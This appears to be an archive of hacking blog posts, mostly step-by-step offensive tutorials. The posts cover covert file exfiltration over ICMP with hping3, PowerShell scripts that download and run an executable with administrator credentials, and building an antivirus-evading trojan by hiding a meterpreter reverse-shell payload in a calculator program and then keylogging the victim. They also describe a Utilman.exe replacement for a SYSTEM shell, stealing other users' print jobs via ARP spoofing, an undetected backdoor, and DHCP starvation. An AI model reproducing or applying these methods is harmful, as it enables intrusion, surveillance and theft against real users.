Categorie archief: Hacking
hping3 using kali linux
-E filename to send
-1 use ICMP
-u tell you when –file reached EOF and prevent rewind
-i send ICMP every 10 seconds (slow)
-d Destination IP
root@kali:~# hping3 -E dns2tcp.txt -1 -u -i 10 -d 95 192.168.20.106
HPING 192.168.20.106 (eth0 192.168.20.106): icmp mode set, 28 headers + 95 data bytes
[main] memlockall(): Success
Warning: can’t disable memory paging!
len=123 ip=192.168.20.106 ttl=128 id=27778 icmp_seq=0 rtt=3.2 ms
len=123 ip=192.168.20.106 ttl=128 id=27806 icmp_seq=1 rtt=3.1 ms
len=123 ip=192.168.20.106 ttl=128 id=27852 icmp_seq=2 rtt=2.9 ms
EOF reached, wait some second than press ctrl+c
len=123 ip=192.168.20.106 ttl=128 id=27877 icmp_seq=3 rtt=2.6 ms
Data in file send “dns2tcp.txt”
root@kali:~# cat dns2tcp.txt
listen = 192.168.20.243
port = 53
user = nobody
chroot = /tmp/
domain = ns01.rootsecurity.info
resources = ssh:127.0.0.1:22
dns2tcpd -F -d 3 -f /dns2tcpdrc
Monitor on receiving end using Wireshark
icmp display filter
Download files from a external site using authentication in PowerShell
$Url = “http://192.168.20.247/test.test”
$Path = “$env:temp\test.txt”
$Username = “”
$Password = “”
$WebClient = New-Object System.Net.WebClient
$WebClient.Credentials = New-Object System.Net.Networkcredential($Username, $Password)
$WebClient.DownloadFile( $url, $path )
PowerShell Download & run-as script
#Predefine necessary information
$Username = “DOMAIN\Administrator”
$Password = “PASSWORD”
#Create credential object
$SecurePassWord = ConvertTo-SecureString -AsPlainText $Password -Force
$Cred = New-Object -TypeName “System.Management.Automation.PSCredential” -ArgumentList $Username, $SecurePassWord
#Download file from website
$Url = “http://192.168.20.247/test.test”
$Path = “$env:temp\example.exe”
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile( $url, $path )
(New-Object System.Net.WebClient).DownloadFile($url, $output)
Start-Process $Path -Credential $Cred
Save as run-as-admin.ps1
If needed compile your .ps1 file to .exe with PS2EXE
An easy way of creating your own Trojan
In this article I will describe how you can easily create your own Trojan for demos or other fun purposes. The tools used in this article are the following:
- The Veil-Evasion Framework & Kali server;
- C or C# source code of a program of choice;
- Visual Studio or any other development solution;
- Windows 8.1 with AV client machine & RSA ECAT agent.
The steps we will follow are listed below and are worked out in more detail in separate paragraphs:
- Create a payload in C# code with the Veil-Evasion Framework;
- Copy the created payload to your machine that has for example Visual Studio installed;
- Include the payload and re-assemble the C# source code program;
- Test your newly created Trojan.
Step 1 & 2 Veil-Evasion Framework
The Veil-Evasion Framework is a very nice solution which allows pen testers to create payloads & executables within a few clicks. https://www.veil-framework.com/framework/veil-evasion/
In this example we will be using the framework to create an encrypted reverse https metasploit payload in C# code.
- Install Veil-Evasion on your Kali Linux distribution
- Start Veil-Evasion
- Select Payload cs/meterpreter /rev_https
- Set LHOST & LPORT to fit your own environment, make sure to enable the Arya crypter & issue the generate command to create the payload
- Provide your preferred file name
- Veil has now created an encrypted payload in C# code which we will use is step three of this process.
- Copy the created file (calculator-payload.cs) file to your machine running Visual Studio
Step 3 include payload & re-assemble program of choice
In this example we will add the created payload to the C# source code of a calculator program. The source code used will be made available for download.
- Open the calculator-payload.cs with notepad++ or any other file editor
Notice the System requirements (System.Collections.Generic, System.Text, System.IO etc.) and the class & static void parts of the program.
- Open the source code of your choice or use the attached calculator source code
Once Visual Studio opens it should look similar as shown below:
Now we need to make sure the program includes all required system namespaces. For this we need to add all system namespaces that are not included in the original source code. In this case this will look as shown below:
Notice that System.Text, System.IO & System.Reflection are added
Now we need to add our code in both the Static class and Static void parts of the original program:
This can be done by coping and pasting the code from the notepad session as shown in step 1.
Once you are done the result should look similar as shown below:
When you copy the code in after the Application.Run part, the program will run normally and start Form1() as expected. Once this form is closed, the program will execute the payload before shutting down.
- Assemble your new Calculator application
Before we assemble the modified source code you can change the assembly name or Icon to whatever you like. In this case I will make sure the program gets assembled with the name Calculator-Demo.exe and will use the Windows Calculator symbol as an Icon.
Once done, click on Build Solution or F7 in Visual Studio and make sure the outcome does not state any errors:
Your newly created Trojan is now ready to be tested.
Step 4. Test your newly created Trojan
To test your Trojan we will need to do the following:
- Copy the Calculator-Demo.exe to a victim machine
- Start a metasploit https reverse handler on the attackers machine
- Execute the calculator
- Check for a successful metapreter connection
Step 1. Copy the Calculator-Demo.exe
In this example I will copy the Calcultor.Demo.exe to a fully patched Windows 8.1 system which is running a TrendMicro antivirus & RSA ECAT agent.
When I scan the copied file with AV no issues are detected:
Step 2. Start a metasploit https reverse handler on the attackers machine
The attacker will be the same machine which we used to create the payload with. When creating the payload Veil-Evasion also created a handler file which we can use to easily startup the https listener
First we need to browse the the veil-output/handlers directory.
After this we can start the metasploit console with a –r command so that the configuration variables within the handler file are loaded.
This will startup a metasploit handler and should look similar as shown below:
Step 3. Execute the calculator
Now we need to go back to the victim’s machine and execute the calculator
As you can see the calculator starts as expected. To execute the payload the program needs to be closed. When doing this AV still does not detect anything..
Step 4. Check for a successful meterpreter connection
When we go back to our attacker machine we should see a successful meterpreter session
Let’s interact with this session and start a keylogger
When we check the victims machine type something and dump the keystrokes on the attackers machine, AV still does not notice anything..
When we check the RSA ECAT server however all activities are detected.
- Execution and migration of Calculator-Demo.exe to notepad.exe
Network connection & IOC to attacker’s machine:
Use of floating code (keylogger) in memory
Building a Trojan does not have to be difficult, AV is dead and RSA ECAT rules 😉
Most windows systems (Vista, Windows 7, Window 8 etc.) allow you to access the Utilman.exe “Ease of Access” application on the login page. As the end-user has not yet logged in, Windows will start this application using NT Authority rights.
So if you are able to boot a Windows machine with for example a Kali image and no drive encryption is applied. You can easily replace the Utilman.exe with cmd.exe or your own payload and have it run with NT Authority rights by clicking on the Ease of Access icon on the logon page.
Want to know how? Just follow the steps below:
1. Boot you windows machine with for example Kali or any other Live CD.
2. Browse to the Windows System32 folder of you Windows machine and locate the Utilman.exe
3. Rename the orginal Utilman.exe to for example Utilman-old.exe
4. Browse to the Windows System32 folder of you Windows machine and locate CMD.exe
5. Make a copy of CMD.exe and rename it to Utilman.exe
6. Boot you Windows machine as normal.
7. Click on the Ease of Access button and check put the Command Prompt.
Recently I was asked to audit a network printer environment to find out if it was possible to capture and re-print print-jobs of other network users.
This was actually more easy then I thought.
Check out the steps below:
In this example the following IP’s are used:
Victims Windows Desktop: 10.34.50.100
Central Printer server : 10.34.6.91
Network Printer : 10.34.48.3
Attacker Kali Laptop : 10.34.50.102
Scenario: a victim Windows Desktop user summits a print-job to a central printer server. The victim walks to the nearest network printer and uses a personal code or RFID card to identify him or herself on the printer. The printer gets the pending print-jobs of the central printer sever and starts printing them.
In order to capture the summited print-job you can do one of the following:
- Perform a ARP-Spoof attack between the victims desktop and the central print server so that traffic directed to the central print server gets intercepted by your machine.
- Perform a ARP-Spoof attack between the central print servers and the network printer so that traffic directed to the printer gets intercepted by your machine.
- Place a small managed switch between the network printers UTP cable connection and the UTP wall socket and create a SPAN port.
Step 1: Capture print-jobs
During my test I choose option three. Whatever you choose the aim is to capture the raw print-job packets that is send to either the print server or the network printer.
Once you have captured the packets, open it with Wireshark:
Step 2: Create a Wireshark filter
In order to filter out the traffic you are looking for, you must create a Wireshark filter. In my case this was the following:
ip.addr == 10.34.0.91 && ip.addr == 10.34.48.3 && tcp.port == 9100
10.34.0.91 = the central printer server
10.34.48.3 = the local network printer
9100 = printer port used
When you appy the filter you should get something like this:
Step 3: Follow the TCP stream to obtain the raw packets
Now that you have filtered the interesting traffic it is time to select any TCP session entry, right click on it and select the “Follow TCP Stream” option. Once this is done you will see that all TCP packets related to one print-job are combined together.
This will look like this: (notice the print and user information)
Step 4: Export the captured data
Once you have combined all TCP packets it is time to export the information to a new .pcap file. You do this by selecting all traffic between the two selected sources from the dropdown menu, select Raw and click on Save As
Step 5: Print the captured print-job to your own printer
Now that you have a raw packet file containing a print-job you are ready to replay or resend this information to you own network printer. In my case I used netcat on Kali for this.
Step 6. Walk to you printer and collect you treasure
If you don’t like to send the captured data to a network printer you are also able to convert it to PDF format using a PCL converter program.
Want to know how? read the easy steps below:
1. Download and install “VeryPDF PCL Converter” which is available in a free trial version;
2. Open the PCL Converter tool, import the captured RAW data and select the output destination;
3. Click start and a PDF file will be opened.
This guide shows how easy it is to create a backdoor which is not detected by AV
To create the backdoor we use SET which is a pentest automation tool available within the BackTrack distribution.
The steps to follow are the following:
– Startup SET
– Select option 1
– Select option 10
– Select Payload option 1
– Provide the IP address and port number you like to connect back to
– Start the listener to start accepting connections
– Browse to the payload and save the txt file a .bat file
– Use BAT-to-EXE converter to create a .exe file
– Copy the file over to you victim and execute is
– Check meterpreter is able to establish a new session
– Proof that AV on the victim machine is running and up-to-date
This DDOS attack will send DHCP discover messages until all available DHCP IP addresses within its scope are saturated. Once this attack is completed you could launch a rouge DHCP server and start poisoning DHCP clients with your router or DNS server information.
A tool which allows you to perform this attack is called Yersinia. This program is included in the well-known Linux penetration tool distribution BackTrack which is available for download on the following site:
Steps to perform:
- Download BackTrack & Start your distribution
- Check that the DHCP Server has not leased all available addresses yet
- Login BackTrack and open a terminal window
- Type yersinia –G to start the graphic interface of Yersinia
- Click on the DHCP tab
- Click on the Attack tab and select the Sending DHCP Discover Packets option
- Click OK and watch the amount of requests send
- Click on the List Attacks tab
- Click on Cancel all Attacks
- Go back to you DHCP server and check if the amount of leased IP addresses has increased